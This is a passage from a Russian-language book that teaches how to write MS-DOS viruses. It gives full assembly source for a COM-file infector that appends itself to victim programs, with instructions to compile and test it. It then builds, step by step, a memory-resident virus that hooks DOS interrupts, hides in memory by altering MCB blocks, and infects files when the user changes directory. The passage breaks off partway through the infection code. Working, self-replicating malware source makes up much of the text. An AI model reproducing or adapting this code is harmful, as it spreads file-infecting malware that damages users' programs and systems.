Компьютерные науки - Учебники на русском языке - Скачать бесплатно
;файла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
;64000 байт ?
jna toto ;Нет ...
jmp find_next ;Да - тогда он
;нам не подходит
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;И запишем ок-
;ругленное зна-
;чение в DI ...
;Расчитаем сме-
;щение для пере-
;хода на код ви-
;руса ...
sub ax,3 ;Сама команда
;перехода зани-
;мает три байта!
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !
read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !
cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...
write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...
restore_dta:
mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
;сим его в DTA
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз
pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...
;\*Data area ...
old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...
last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле
vir_len equ $-vir ;Длина вирусного
;кода ...
prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
;раммы ...
db '7' ;Без этого сим-
;вола вирус за-
;разил бы сам
;себя ...
prg ends ;Все ASM - прог-
end start ;раммы заканчи-
;ваются примерно
;так .
Если вы когда нибудь читали [ 3 ], только что при-
веденная программа покажется вам знакомой. Строго
говоря, наш вирус написан " по мотивам " этой в
общем совсем неплохой книги. " Книжный " вирус су-
щественно переработан,исправлены замеченные ошибки
и глюки.Несмотря на это поступок автора трудно на-
звать плагиатом. Просто затронутая в работе П.Л.
Хижняка тема получила новое развитие.
1.19 Комментарии
Вирус,который мы разработали, отыскивает программы
для заражения лишь в том каталоге, из которого был
запущен зараженный файл .Понятно,что в этом случае
большой заразностью он не обладает.Но во - первых,
мы идем от простого к сложному, и следующие наши
программы будут более эффективными .А во - вторых,
эта разработка лишь преследовала цель показать ос-
новные приемы изготовления вирусных программ.Кроме
того, чрезмерная сложность наверняка отпугнула бы
читателя .
1.20 Испытание вируса
Для проверки в действии разработанной нами програ-
ммы просто скопируйте ее в отдельный файл ( коне-
чно, только если у вас есть дискета с текстом кни-
ги ).Далее скопируйте в каталог с вирусом несколь-
ко COM - файлов.Откомпилируйте исходный текст и
запустите полученный COM - файл,содержащий в себе
вирусный код.Проблем с компиляцией быть не должно,
так как программа тщательно тестировалась . По-
наблюдайте, как вирус заражает файлы .Попробуйте
запустить зараженную программу под управлением от-
ладчика и в автоматическом режиме.И, наконец, про-
верьте зараженную программу с помощью DOCTOR WEB .
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ
2.1 Понятие резидентного ( TSR ) вируса
Резидентными называют вирусы, которые после запус-
ка зараженной программы помещают свой код в опера-
тивную память . Этот код "занимается" заражением
файлов и находится в памяти в течение всего сеанса
работы .
Резидентные вирусы обычно намного заразнее нерези-
дентных и распространяются быстрее .Однако создать
такой вирус не так просто . Кроме того,резидентные
вирусные программы подвержены всевозможным сбоям
и могут конфликтовать с установленным на компьюте-
ре программным обеспечением . Но несмотря на все
трудности, возникающие при разработке резидентных
вирусов, их было создано великое множество .
В предлагаемой вниманию читателей главе рассказы-
вается о приемах создания TSR - вирусов, поражаю-
щих COM - файлы .Кроме того, освещаются основные
проблемы, с которыми приходится встречаться при их
разработке .
2.2 Несколько слов о резидентных программах
Вы,наверное, знаете, как строятся резидентные про-
граммы .В этом пункте мы немного поговорим об их
организации и функционировании .
Резидентными называют программы,которые после сво-
его завершения остаются в памяти и активизируются
при наступлении каких - либо событий в вычисли-
тельной системе .Такими событиями могут быть, нап-
ример, нажатие " горячей " комбинации клавиш, вы-
полнение некоторых операций с дисками и т. п .Но в
любом случае программа получает управление при
тех или иных условиях .
Все резидентные программы строятся одинаково, или
почти одинаково, и состоят из двух секций - секции
инициализации и собственно резидентной части.Рези-
дентная часть, как правило, состоит из одной или
нескольких подпрограмм - обработчиков прерываний и
находится в памяти во время сеанса работы компью-
тера .Такие подпрограммы могут полностью подменять
собой системные обработчики или только служить их
дополнением.Естественно,для того,чтобы резидентная
часть получила управление, необходимо заменить со-
ответствующие вектора в таблице векторов прерыва-
ний на точки входа в заново установленные обработ-
чики.Эту функцию и выполняет секция инициализации,
которая всегда выполняется при запуске программы
первой .
После перехвата прерываний, которые должна обраба-
тывать резидентная часть, секция инициализации за-
вершает программу, используя для этой цели преры-
вание или функцию резидентного завершения MS DOS .
В результате резидентная часть остается в памяти и
активизируется в случаях, предусмотренных автором
программы . Часть инициализации в процессе работы
больше не потребуется,поэтому оставлять ее в памя-
ти бессмысленно, и она " затирается " MS DOS в
случае необходимости .
2.3 Алгоритм работы резидентного
COM - вируса
Рассмотрим один из возможных алгоритмов работы ре-
зидентного COM - вируса .
По своей сути резидентный вирус отличается от обы-
чной резидентной программы только тем, что он раз-
множается сам по себе, независимо от желания поль-
зователя.Значит,построить его можно по той же схе-
ме, по которой пишутся обычные TSR - программы .Но
сначала выясним,что должны делать секция инициали-
зации вируса и его резидентная часть .
Итак :
Секция инициализации выполняет следующие действия:
1. Получает управление при запуске зараженной про-
граммы .
2. Проверяет, установлена ли в память резидентная
часть вируса .
3. Восстанавливает в памяти компьютера исходные
три байтa этой программы .
4. Если резидентная часть не установлена,выполняю-
тся следующие действия :
a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .
б.) Код вируса копируется в найденный блок па-
мяти .
в.) В таблице векторов прерываний соответству-
ющие вектора заменяются точками входа в ви-
русные обработчики .
г.) Выполняется переход на начало зараженной
программы ( на адрес CS : 100h ).После это-
го программа выполняется, как обычно .
В том случае, если резидентная часть вируса уже
находится в памяти, он просто передает управление
зараженной программе .
Резидентная часть выполняет следующие действия :
1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .
2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :
а.) Сохранить исходное состояние вычислительной
системы .
б.) Найти на диске подходящий COM - файл .
в.) Записать тело вируса в конец этого файла .
г.) Заменить первые три байта заражаемой про-
граммы командой перехода на вирусный код,
сохранив предварительно исходные три байта
в своей области данных.
д.) Восстановить исходное состояние вычислите-
льной системы и передать ей управление .
Если оператор не будет менять текущий католог или
диск, вирус, очевидно, ничего заразить не сможет .
Как вы уже заметили, заражением файлов занимается
исключительно резидентная часть ! Секция инициали-
зации нужна только для инсталляции вируса в па-
мять .Кроме того, в отличие от обычной резидентной
программы, в вирусе эта секция записывается в па-
мять вместе с резидентной частью . Иначе при за-
писи ее в заражаемый файл возникли бы серьезные
трудности .
Из рассказанного в этом пункте легко сделать вы-
вод о том, насколько резидентный вирус должен быть
устроен сложнее обычного .Вместе с тем, в его на-
писании нет ничего магического, и вы без труда
разберетесь в следующей программе .
2.4 Заголовок вируса
Для разработки вируса мы, как и раньше, будем ис-
пользовать COM формат .
Естественно,в резидентном вирусе будут использова-
ны некоторые блоки, созданные нами в предыдущей
главе .Поэтому на их работе мы останавливаться не
будем, а вместо этого сделаем акцент на новых при-
емах, реализованных в программе .
Итак, начнем :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir ;Передача управ-
;ления вирусному
;коду ...
org 110h
Приведенные команды и директивы выполняют те же
самые функции, что и аналогичные, использованные
нами при создании нерезидентной вирусной програм-
мы .
2.5 Вирус начинает работу
Несколько забегая вперед, отметим, что наш вирус
будет работать так :
1. Обработчик прерывания Int 21h отслеживает
смену оператором текущего каталога или дис-
ка. Если пользователь действительно сменил
диск или каталог,то переменная TG_INFECT ус-
танавливается в единицу.
2. Обработчик прерывания Int 28h вызывается DOS
всякий раз, когда можно, не боясь зависаний,
обращаться к системным функциям, работающим
с файлами. Поэтому естественно возложить на
него задачу поиска и заражения файлов.Исходя
из этого процедура обработки Int 28h прове-
ряет значение TG_INFECT, и если оно равно
единице, выполняет поиск и заражение файлов.
--------------------------------------------------
После перехода на метку " vir " начинается испол-
нение вирусной программы .Поэтому продолжим :
( Собственно это и есть начало обработчика преры-
вания Int 28h )
vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
pushf ;Запишем флаги
;в стек ...
cmp cs:tg_infect-110h,1;Активизиро-
;ваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;Нет - вызовем
;старый обработ-
;чик INT 28h,
;чтобы не топить
;другие TSR ...
iret
vir_2: popf ;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
Обратите внимание на команду,записанную в машинном
коде сразу за меткой " vir " .Сейчас мы попробуем
разобраться, зачем она потребовалась .
Как вы знаете, наш вирус должен быть резидентным и
состоять из двух частей .При этом секция инициали-
зации исполняется только в транзитном ( нерезиден-
тном ) режиме,а резидентная часть - только в рези-
дентном.
Команда
db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
играет роль " переключателя " между транзитным и
резидентным кодами .При заражении вирус записывает
в файл команду перехода, которая при запуске зара-
женного файла передает управление на " push_len "
байт вперед, где как раз и начинается секция ини-
циализации .Если же попытаться выполнить эту кома-
нду в резидентном режиме, т. е. когда код вируса
получил управление, находясь в памяти,это приведет
к зависанию компьютера .Чтобы такого не происходи-
ло, секция инициализации при установке вирусного
кода в память записывает сразу за меткой " vir "
две команды " NOP ", или код : 9090h .
Все приведенные далее команды относятся к резиден-
тной части .После записи флагов в стек вирус про-
веряет состояние переменной " tg_infect ", и если
она равна " 1 ", переходит к метке " vir_2 " .Если
же " tg_infect " равна " 0 ",то вирус просто вызы-
вает старый обработчик INT 28h и отдает управление
прерванному процессу.Чуть позже мы рассмотрим, как
формируется значение переменной " tg_infect " .
Поскольку приводимый обработчик активно работает
со стеком,есть смысл предусмотреть в нем собствен-
ный стек . Поэтому сразу за меткой " vir_2 " запи-
шем команды, переключающие стек на специальную об-
ласть данных вируса " newstack " :
;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
Последней запишем команду, сбрасывающую " tg_in-
fect " в ноль .Этим мы защитим вирусный код от по-
вторного вхождения .
Теперь необходимо вызвать старый обработчик INT
28h, иначе наш вирус будет " топить " другие рези-
дентные программы, которые перехватывают это же
прерывание .Поэтому запишем :
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
Обработчик здесь вызывается как дальняя процедура.
Команда " CALL " записана в виде машинного кода,
а поля " old_28h " и " old_28h_2 " заполняются се-
кцией инициализации при установке вируса в память.
*
Обратите внимание на команды переключения стека .
Они необычны тем,что от адреса ячеек памяти " ss_
save "," sp_save ", " tg_infect " и " help_word "
отнимается число 110h . Дело в том, что при ком-
пиляции исходного текста COM - программы адреса
ячеек памяти вычисляются исходя из того, что DS
указывает на начало ее PSP .Кроме того, в самом
начале вируса мы записали директиву " org 110h ".
Но ведь к вышеуказанным ячейкам памяти вирус об-
ращается в резидентном режиме, да еще и относите-
льно CS .А CS указывает строго на начало обработ-
чика, а не на начало PSP, как это было при компи-
ляции ! Поэтому относительный адрес ячеек необхо-
димо уменьшить на 110h, что мы и сделали . Этот
прием будет использован еще несколько раз при по-
строении вирусных обработчиков прерываний,поэтому
полезно будет понять, на чем он основан .
2.6 Сохраняем регистры процессора
В самом начале работы резидентная программа обяза-
на сохранить значения регистров процессора, кото-
рые были переданы ей прерванной программой, а при
завершении работы - восстановить эти значения .Ес-
ли этого не сделать,прерванная программа просто не
сможет нормально выполняться дальше,что приведет к
сбою вычислительного процесса . Поэтому сейчас мы
сохраним все регистры, используемые вирусом,в сте-
ке :
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
;жению файлов
Заметим, что значения регистров записываются уже в
область " newstack ", а не в стек прерванной прог-
раммы .Значения SS и SP сохраняются в переменных :
" ss_save " и " sp_save ", и поэтому в стек не за-
носятся .Команда " jmp cs:infect " также относится
к резидентной секции и передает управление "зараз-
ной" части вирусного кода .
2.7 Создаем секцию инициализации
А теперь пора заняться изготовлением секции иници-
ализации нашей программы .Поскольку эта секция ис-
полняется при запуске зараженного файла, выполним
коррекцию регистра DS ( см. гл. 1, 1.6 ) :
push_len equ $-vir - 2
mov ax,ds ;Корректируем DS
;для нерезидент-
;ной работы ...
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax
Константа " push_len " содержит смещение от начала
вируса до начала секции инициализации . Именно это
число записывается за меткой " vir " (см. п. 2.5).
Далее следует проверить наличие вируса в памяти
(см. п. 2.3), поэтому :
mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes
cmp al,0ffh
jne free_mem ;Нет -
;устанавливаем
Для проверки используется так называемое мульти-
плексное прерывание MS DOS, специально предназна-
ченное для использования в резидентных программах.
В регистрах AX и BX мы поместим код, на который
реагирует вирусный обработчик этого прерывания, и
выполним команду " INT 2Fh " .Если вирус был уста-
новлен в памяти,его обработчик проанализирует зна-
чения AX и BX .И если они равны " 0f000h " и " 19-
97h ", вернет в AL число 0ffh, которое и рассчиты-
вает получить секция инициализации .
Если вирусный код уже инсталлирован, необходимо:
восстановить в памяти компьютера исходные три бай-
та зараженной программы (см. п. 2.3) :
fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
Восстановить значения сегментных регистров:
mov ax,cs ;Восстанавливаем
;сегментные
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
И выполнить переход на начало этой программы :
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0
Здесь команда " jmp cl_conv_1 " очищает очередь
процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-
рус на некоторых процессорах работал бы некоррек-
тно .
Если же вируса в памяти еще нет, нужно установить
его в память .Эту работу выполняют команды, запи-
санные за меткой " free_mem " .
2.8 Запрашиваем блок памяти
Как вы уже знаете,резидентная программа должна на-
ходиться в памяти в течение сеанса работы компью-
тера.Поэтому секция инициализации должна "попро-
сить" MS DOS выделить для загрузки резидентной ча-
сти соответствующий блок памяти .
Существует целый ряд методов, позволяющих получить
в распоряжение TSR - программы область памяти дос-
таточного размера .Например, в обычных резидентных
программах эту функцию выполняет MS DOS в процессе
резидентного завершения .При этом область памяти,
выделенная TSR - программе при ее запуске, просто
усекается до размера резидентной части и остается
занятой после завершения программы .Таким образом,
резидентная часть размещается в том месте, куда
некогда была загружена вся программа.
К сожалению, использование такого метода в вирусе
порождает целый ряд проблем . Например в этом
случае необходимо записывать вирусный код в нача-
ло, а не в конец файла - жертвы, иначе при запуске
зараженной программы она будет " садиться " в па-
мять целиком .Есть и другие трудности, преодолеть
которые очень непросто.Не случайно такой прием при
написании вирусов применяется редко .
Другой способ состоит в использовании для поиска
подходящего блока памяти так называемых MCB - бло-
ков ( потом мы поговорим о них подробнее ) . При
этом вирус должен путем сканирования цепочки бло-
ков управления памятью ( Memory Control Blocks )
найти свободный блок подходящего размера, разде-
лить его на две части, одна из которых точно соот-
ветствует или несколько превышает длину вируса, и
записать во вновь созданный блок свой код.Основной
недостаток данного метода состоит в том что MCB -
блоки являются недокументированной структурой MS
DOS, и при их использовании нужно быть готовым к
тому,что программа будет работать на одной машине
и не будет работать на другой. Это также относится
к разным версиям операционной системы .Кроме того,
очень сложно построить эффективный алгоритм реали-
зации этого метода . Ведь вирусный код должен за-
писываться не просто в подходящий по размерам
блок, а в старшие адреса оперативной памяти, ина-
че загрузка больших программ будет просто невозмо-
жна .
Третий способ заключается в том, что код вируса
копируется в заданную область памяти без коррекции
MCB - блоков. Недостаток его состоит в следующем:
"время жизни" вируса,реализующего такой алгоритм,
чрезвычайно мало и зависит от интенсивности ис-
пользования оперативной памяти . Причем "гибель"
вирусной программы с почти стопроцентной вероятно-
стью приводит к повисанию компьютера. Хотя метод
отличается простотой реализации и имеет ряд других
достоинств, приведенный выше недостаток делает его
практическое использование маловозможным .
Четвертый способ состоит в использовании функций,
реализующих управление памятью.Используя его,можно
построить эффективный и корректно работающий про-
граммный код, который будет хорошо работать на
разных машинах и с любыми версиями операционной
системы .При этом его реализация весьма проста и
понятна . Поэтому мы применим именно этот способ :
free_mem: mov ah,4ah ;Определим объем
;доступной памя-
;ти ...
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
;(0ffffh) !
;Ошибка будет
;обязательно, и
;проверять ее
;наличие
;не нужно !
; _______________________________________________
;| Закажем свободный блок памяти,чтобы можно было|
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|
sub bx,vir_par + 2 ;Оставим вирусу
;на 2 параграфа
;больше, чем
;он сам занимает
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...
mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes ;Ошибка !
В приведенном фрагменте использованы функции :
4Ah - изменение размера блока памяти, а также
48h - выделение блока памяти .
Об их использовании вы можете прочесть в ПРИЛОЖЕ-
НИИ 1.
Работа вышеприведенных команд весьма проста и осо-
бых пояснений не требует .Стоит лишь заметить, что
для загрузки вирусного кода выделяется область в
в самом " верху " свободной оперативной памяти,что
является почти обязательным для подавляющего боль-
шинства вирусных программ .
2.9 Делаем вирус " незаметным "
К сожалению,выбранный нами способ поиска свободно-
го блока памяти имеет один скрытый недостаток .Как
вы, наверное, знаете, при завершении программы DOS
освобождает блок памяти, который эта программа за-
нимает .Кроме того, освобождаются также все блоки,
которые были распределены программе по ее запро-
сам .
Предположим, вирус стартовал из зараженной програ-
ммы, с помощью описанных ранее функций MS DOS на-
шел подходящий блок памяти и записал в него свой
код, предварительно переписав на этот код те или
иные прерывания .После этого он передает управле-
ние зараженной программе . Естественно, она когда-
нибудь завершится и передаст управление DOS . Но
ведь в этом случае блок, который занимает вирусный
код, будет освобожден, и при первой необходимости
этот код будет уничтожен,чтобы записать на его ме-
сто другую информацию !В результате произойдет мо-
ментальное " повисание " компьютера .
Очевидно, этого можно избежать, если память, зани-
маемая вирусом, будет оставаться занятой в течение
всего сеанса работы,и не будет освобождаться после
завершения зараженной программы .
Как показал эксперимент, для этой цели достаточно
в MCB,предшествующем выделенному для вирусного ко-
да блоку, сделать определенные изменения.Но снача-
ла мы немного расскажем о структуре Memory Control
Blocks ( MCB ) и их использовании .
Для того, чтобы следить за использованием памяти,
в MS DOS предусмотрена специальная структура - так
называемый блок управления памятью,или MCB - блок.
Такой блок помещается DOS непосредственно перед
каждым вновь выделяемым блоком памяти, и система
ведет специальный список MCB - блоков,просматривая
его при выполнении тех или иных действий, связан-
ных с распределением памяти.
MCB обязательно начинается на границе параграфа и
всегда занимает целый параграф.Конечно,MS DOS дол-
жна знать о том, где именно расположен первый блок
управления памятью.На этот блок указывает внутрен-
няя переменная DOS, значение и местоположение ко-
торой известно только операционной системе .
Рассмотрим теперь структуру MCB - блока .Итак :
Байт 0 - содержит код 5Ah,если данный блок яв-
ляется последним в цепочке MCB, и код
4Dh - в противном случае .
Байты 1, 2 - Содержат PID (Program IDentificator)
программы, для которой DOS выделяла
блок, или ноль, если блок свободен .
Байты 3, 4 - Содержат размер блока в параграфах .
Следующий блок расположен в памяти по
адресу : MCB_NEW = MCB_OLD + lenght +
+ 1.Здесь MCB_NEW - сегментный адрес,
по которому располагается следующий
MCB, MCB_OLD - сегментный адрес рас-
сматриваемого MCB,а lenght - содержи-
мое байтов 3, 4 этого блока .
Остальные одиннадцать байт блока не используются и
могут содержать любые данные. Но стоит заметить,
что повреждение байтов 1, 3 или 4 приводит к выда-
че сообщения :
Memory Allocation Error
System Halted
и немедленному " зависанию " компьютера .
А теперь вернемся к нашей программе .
Как показал эксперимент, достаточно подменить в
MCB, предшествующем вирусному коду, байты 1 и 2 .
Причем лучше всего записать вместо этих байт PID
какой - нибудь из уже загруженных в память про-
грамм.Этим достигается еще и незаметность вируса в
памяти.Советую вам попробовать загрузить несколько
TSR - программ и в MCB одной из них подменить бай-
ты 1 и 2 на PID какой - нибудь другой программы .
После этого нажмите в Volkov Commander клавиши ALT
и F5, и вы увидите очень интересный эффект .
Но дело в том, что для использования вышеприведен-
ного метода необходимо еще найти программу, на PID
которой наш вирус будет " паразитировать ".Сделать
это не так просто, как может показаться на первый
взгляд .И поэтому для облегчения нашей работы вме-
сто PID загруженной в память программы мы запишем
в MCB вируса сегментный адрес области данных DOS,
а именно : 0070h :
; _______________________________________________
;| Теперь свободный блок памяти найден |
;| ( сегментный адрес в AX ), и |
;| нужно записать в него код вируса ... |
;|_______________________________________________|
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
Предыдущий фрагмент вернул нам сегментный адрес
выделенного для вируса блока памяти в регистре AX.
Приведенные программные строки очень просты, и
объяснять их работу не нужно. Следует только ска-
зать, что вирус фактически отнимает у DOS несколь-
ко килобайтов памяти, поэтому необходимо скоррек-
тировать PSP программы - носителя вируса.А именно-
уменьшить верхнюю границу блока памяти,выделенного
программе,на длину вирусного кода.Интересующая нас
величина находится по смещению 02h от начала PSP.
2.10 Получаем вектора прерываний
Итак, мы нашли блок памяти, в который часть ини-
циализации будет копировать вирусный код.Но прежде
чем инсталлировать вирус в память, необходимо уз-
нать адреса системных обработчиков прерываний.Ведь
вирус будет вызывать эти обработчики перед ( или
после ) выполнением собственных действий по обра-
ботке того или иного прерывания .Если исходные об-
работчики не будут получать управление, вычислите-
льная система придет в аварийное состояние .
Поэтому :
;_________________________________________________
mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx
mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
Как видим, для определения адресов обработчиков
вирус обращается непосредственно к таблице векто-
ров прерываний.Секция инициализации будет перехва-
тывать прерывания: Int 21h, Int 13h, Int 28h и Int
2fh.Несколько позже мы разберемся, почему потребо-
валось перехватить именно их и приведем тексты ви-
русных обработчиков этих прерываний.
2.11 Копируем вирусный код в память
Теперь настало время переписать в память код виру-
са и подготовить его к работе в резидентном режи-
ме :
mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе
mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
В самом начале нужно сбросить в ноль переменную
" tg_infect ", чтобы вирус не занимался заражением
файлов, пока его об этом не попросят .Далее,в пер-
вые два байта кода вируса, который мы собираемся
записывать в память, следует записать две команды
NOP, или код 9090h ( см п. 2.2 ) .
Теперь тело вируса просто копируется в блок памя-
ти, сегментный адрес которого задан в регистре AX.
2.12 Устанавливаем вектора прерываний
на вирусные обработчики
Все подготовительные действия выполнены, и нам то-
лько осталось заменить адреса системных обработчи-
ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh
на адреса вирусных обработчиков,после чего необхо-
димо передать управление зараженной программе .Это
мы сейчас и сделаем :
xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h
mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh
mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h
mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti
jmp fresh_bytes ;Установка
;завершена ...
Модификация векторов прерываний в особых коммента-
риях не нуждается . А команда " jmp fresh_bytes "
передает управление на программный код,выполняющий
восстановление исходных трех байт программы - жер-
твы .
Таким образом, мы разработали секцию инициализации
нашего вируса . И поэтому настало время перейти к
созданию резидентной секции .Все оставшиеся пункты
этой главы будут посвящены именно разработке рези-
дентной части .
2.13 Пишем резидентную часть
Начало резидентной части мы создали в первых пунк-
тах главы ( см п. 2.5 ).А теперь просто продолжим,
и допишем до конца "заразную" часть вирусной про-
граммы :
infect: push cs ;DS = CS ...
pop ds
mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax
cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход
|